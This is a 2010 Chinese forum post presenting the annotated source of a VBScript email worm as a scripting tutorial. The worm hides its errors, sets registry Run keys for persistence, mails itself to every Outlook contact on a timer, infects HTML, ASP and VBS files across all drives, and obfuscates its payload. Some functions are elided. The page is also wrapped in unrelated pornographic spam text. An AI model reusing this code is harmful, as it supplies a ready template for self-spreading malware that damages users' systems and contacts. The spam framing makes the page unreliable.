久久中文视频-久久中文网-久久中文亚洲国产-久久中文字幕久久久久-亚洲狠狠成人综合网-亚洲狠狠婷婷综合久久久久

Rss & SiteMap

曙海教育集團論壇 http://www.bjzhda.cn

曙海教育集團論壇
共1 條記錄, 每頁顯示 10 條, 頁簽: [1]
[瀏覽完整版]

標題:通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言

1樓
wangxinxin 發表于:2010-12-14 13:45:43

讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不
是少了兩個字,應為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
看文章,確實是將vbscript拒之了“窗”外,上網查了查相關資料,也多是文中提
供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
  對于一個真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒
真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時光”病毒,“愛情蟲”病毒等,
無不來勢洶洶,其實許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要
為vbs正名,為了讓計算機更好,更高效的服務,我們決不應該回避優秀的軟件工具,
采取被動回避的策略,等同于因噎廢食。
    本文通過對一個vbs病毒源碼的分析,介紹腳本語言在:文件系統,注冊表,以
及網絡郵件三個方面的具體應用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙,
這個病毒結合了許多早期病毒的優點,程序代碼簡單,高效,充分展示了vbs的全面
特點,因此拿來與大家共享,如果將這個源碼作為一個vbs開發的微型幫助文檔,一
點不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進的東
西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價格,一點
不貴),然后注意更新病毒庫就可以了。要學習 vbs,具有一些vb的基礎知識就夠了。
這個病毒的主要攻擊方法是:通過網絡及郵件進行傳播,并且不斷地向目標郵件服
務器發送大量郵件,并且在傳染過程中檢測網絡主機的名稱中是否有目標字符,如
果有則進行破壞攻擊。
下面將結合具體的程序逐步進行介紹,由于篇幅關系,對一些語句進行了縮減。
@ thank you!  make use of other person to get rid of an enemy, white trap _2001
開場白,第一個字符“@”是這個病毒傳染時的標記
on error resume next  這一句很重要,主要是在程序執行時如果發生錯誤就接著
                      執行下一條語句,防止談出出錯對話框,否則就不能偷偷
                      的干壞事啦。這里有一個技巧,就是在程序編制調試階段,
                      最好不要這一條語句,因為它會忽略錯誤,使你的調試工
                      作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10)      聲明各個變量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上這四個郵件地址就是被攻擊的目標,當然已經進行了修改,不是真實地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上這十條字符串是病毒執行時隨機顯示在ie標題欄里的信息。如果你的ie標題欄
顯示了其中的某條信息,呵呵,一定要接著往下看
defpath  = "c:\readme.html"          將隨郵件一起發送的病毒體
max_size = 100000
mswkey  = "hkey_local_machine\software\microsoft\windows\"
hcuw    = "hkey_current_user\software\microsoft\wab\"
定義兩個注冊表的鍵值變量
main    執行主函數

下面就是程序中所需的各個函數的定義部分,整個vbs程序將由windows目錄中的
wscript.exe文件解釋執行,如果將這個文件改名或刪除,當然vbs程序也就不能執行
了,如此便阻止了病毒的執行。在用殺毒軟件殺毒時,往往病毒傳播的速度要比殺
毒的速度快,如果出現這種情況,應該先將wscript.exe文件改名,阻止病毒傳播,
等殺完毒后,再改回來,不致影響其他正常的vbs程序的執行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname    得到此文件名稱
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject")
隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
        統對象(filesystemobject)。這個對象,及一些相關對象,封裝了所有
        的文件操作。這個病毒程序基本展示了所有的這些操作,因此,如果您要
        利用vbs進行文件操作編程,將這個病毒源碼作為參考文檔,肯定不錯。
if geterr then
  randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)     
  executemail        打開有毒的頁面
else     
  executepage        賦值成功,進行傳染,攻擊
end if 
else
executevbs                  從病毒體文件“system.dll”提取病毒
end if
end sub

function  geterr()
本函數主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
內容略
end function

sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str  = getscriptcode("vbscript")      獲得此程序的vbscript code
js_str  = getjavascript()
code_str =  makescript(encrypt(vbs_str),true)  進行加密處理
html_str =  makehtml(encrypt(vbs_str), true)
gf
wdsf  = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf  = w2 & "user.dll"
wdf2  = w2 & "readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close 
僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數
opentextfile (wdf, 2, true)的三個參數分別是:
①文件名,②讀=1或寫=2,③文件不存在時是否創建;
當前,filesystemobject對于文本文件的操作有較強的優勢,對binary文件
的操作還有待加強。下面依次生成其他的文件,內容略

writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個腳本文件加入到啟動組當中,隨win啟動自動執行
sendmail
hackpage
if testuser then
killhe
else
mk75
end if
set adi = fso.drives        所有驅動器對象
for each x in adi          遍歷所有的驅動器
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if
next
if fso.fileexists(defpath) then  fso.deletefile defpath
如果存在"c:\readme.html" ,就刪除它
end sub

sub  executemail()
此函數制作病毒文件"c:\readme.html" ,并打開它,
由這一段程序,可以看出vbs的簡潔高效
on error resume next
vbs_str  = getscriptcode("vbscript")
js_str  = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
.reset
.path = defpath
.doc =  makehtml(encrypt(vbs_str), true)
.write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
killhe
else
mk75
end if
set adi = fso.drives
for each x in adi
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if 
next
end sub

sub gf()
w1=fso.getspecialfolder(0) & "\"  獲得windows的路徑名,
w2=fso.getspecialfolder(1) & "\"  獲得系統文件夾路徑名
end sub

function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function

function writereg(key_str, newvalue, vtype)
對注冊表進行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
tmps.regwrite key_str, newvalue
else
tmps.regwrite key_str, newvalue, vtype
end if     
set tmps = nothing      關閉不用的資源,算是病毒的良好行為
end function

function makehtml(sbuffer, ihtml)
制作html文件的內容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function

function makescript(codestr, ihtml)
制作病毒的可執行script code
if ihtml then
dim docuwrite
docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
      "jword" & "+\n</" & "+script>);"
docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
      "nword" & "+\n</" & "+script>);"
makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else   
makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function

function getscriptcode(languages)
此函數獲得運行時的script code,
內容略
end function

function getjavascript()
getjavascript = getscriptcode("javascript")
end function

function testuser()
此函數通過鍵值檢測網絡主機是否是攻擊目標
內容略
end function

function mk75()
檢測日期是否符合,如果符合,發控制臺命令,使系統癱瘓
end function

function sendmail()
利用outlook發送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
outlook可以作為一個自動化服務器(automation servers),因此很容易實現自動發送
郵件,從這里也可以看出,先進的東西難免會被反面利用,如果你也想用程序控制發送
郵件,可以仔細研究下面的代碼,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html"    要發送的附件文件
set  oa  = createobject("outlook.application") 制作outlook對象
set  wab = oa.getnamespace("mapi")            取得outlook mapi名字空間
for j = 1 to wab.addresslists.count            遍歷所有聯系人
eins = wab.addresslists(j)
wreg=readreg (hcuw  & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count      地址表的email記錄數
if (eaec > int(wreg)) then
  for x = 1 to eaec
  arrsm = wab.addressentries(x)
  areg = readreg(hcuw & arrsm)
  讀注冊表中的標記,避免重復發送
  if (areg = "") then
    set fm = wab.createitem(0)  創建新郵件
    with fm
    ra = int(rnd() * 7)
    .recipients.add arrsm 收件人
    .subject = title(ra) 郵件的標題
    .body = title(ra)  郵件的正文內容
    .attachments at  病毒文件作為附件
    .send        發送郵件
    writereg hcuw & arrsm, 1, "reg_dword"
    end with
  end if
  next
end if   
writereg hcuw & eins, eaec, "" 
next
set oa = nothing
window.settimeout "sendmail()", 10000  每100秒發送一次
end function

sub searchhtml(path)
這個函數遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
fso.getspecialfolder(2)獲得臨時文件夾路徑名,
fso.getspecialfolder(0)獲得windows的路徑名,
fso.getspecialfolder(1)獲得系統文件夾路徑名
set pfo    = fso.getfolder(path)
set psfo  = pfo.subfolders
for each  ps in psfo
searchhtml(ps.path)
set pf  = ps.files
for each pfi in pf
  ext = lcase(fso.getextensionname(pfi.path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
  if code_str<>"" then addhead pfi.path, pfi, 1
  elseif ext= "vbs"  then
  addhead pfi.path,pfi, 2
  end if     
next
next
end sub

sub killhe()
看函數名就知道硬盤又要倒霉啦
end sub

sub hackpage()
dim fi

共1 條記錄, 每頁顯示 10 條, 頁簽: [1]

Copyright © 2000 - 2009 曙海教育集團
Powered By 曙海教育集團 Version 2.2
Processed in .03125 s, 2 queries.
主站蜘蛛池模板: 欧美色视频在线观看 | 国产jk福利视频在线观看 | 亚洲综合亚洲综合网成人 | 亚洲天堂日韩在线 | 69成人做爰视频69 | 97久久草草超级碰碰碰 | 欧美一级日韩一级亚洲一级 | 日本三级韩国三级在线观看a级 | 色综合久久88中文字幕 | 午夜视频一区二区 | 综合国产 | 国产日韩欧美一区二区三区综合 | 成年男女免费视频 | 亚洲综合日韩精品欧美综合区 | 国产美女精品在线 | 久久久国产一区二区三区丝袜 | 午夜免费片在线观看不卡 | 看美国毛片 | 欧美一区二区三区在线播放 | 久久久久国产精品免费网站 | 欧美性猛交xxxxx按摩国内 | 国产成人精品综合在线观看 | 亚洲第一免费视频 | 欧美日韩在线观看一区二区 | 一区二区成人国产精品 | 日韩一级特黄毛片在线看 | 高清午夜毛片 | 国产精品久久久久久麻豆一区 | a级毛片免费全部播放 | 亚洲日本aⅴ片在线观看香蕉 | 韩国三级日本三级香港三级黄 | 一级特黄牲大片免费视频 | 福利视频美女国产精品 | 一级毛片无毒不卡直接观看 | 国产一区二区三区日韩 | 国产成人午夜精品5599 | 成人免费午夜视频 | 大片毛片女女女女女女女 | 国产欧美日韩综合精品无毒 | 亚洲精品综合欧美一区二区三区 | 日韩精品一区二区三区视频 |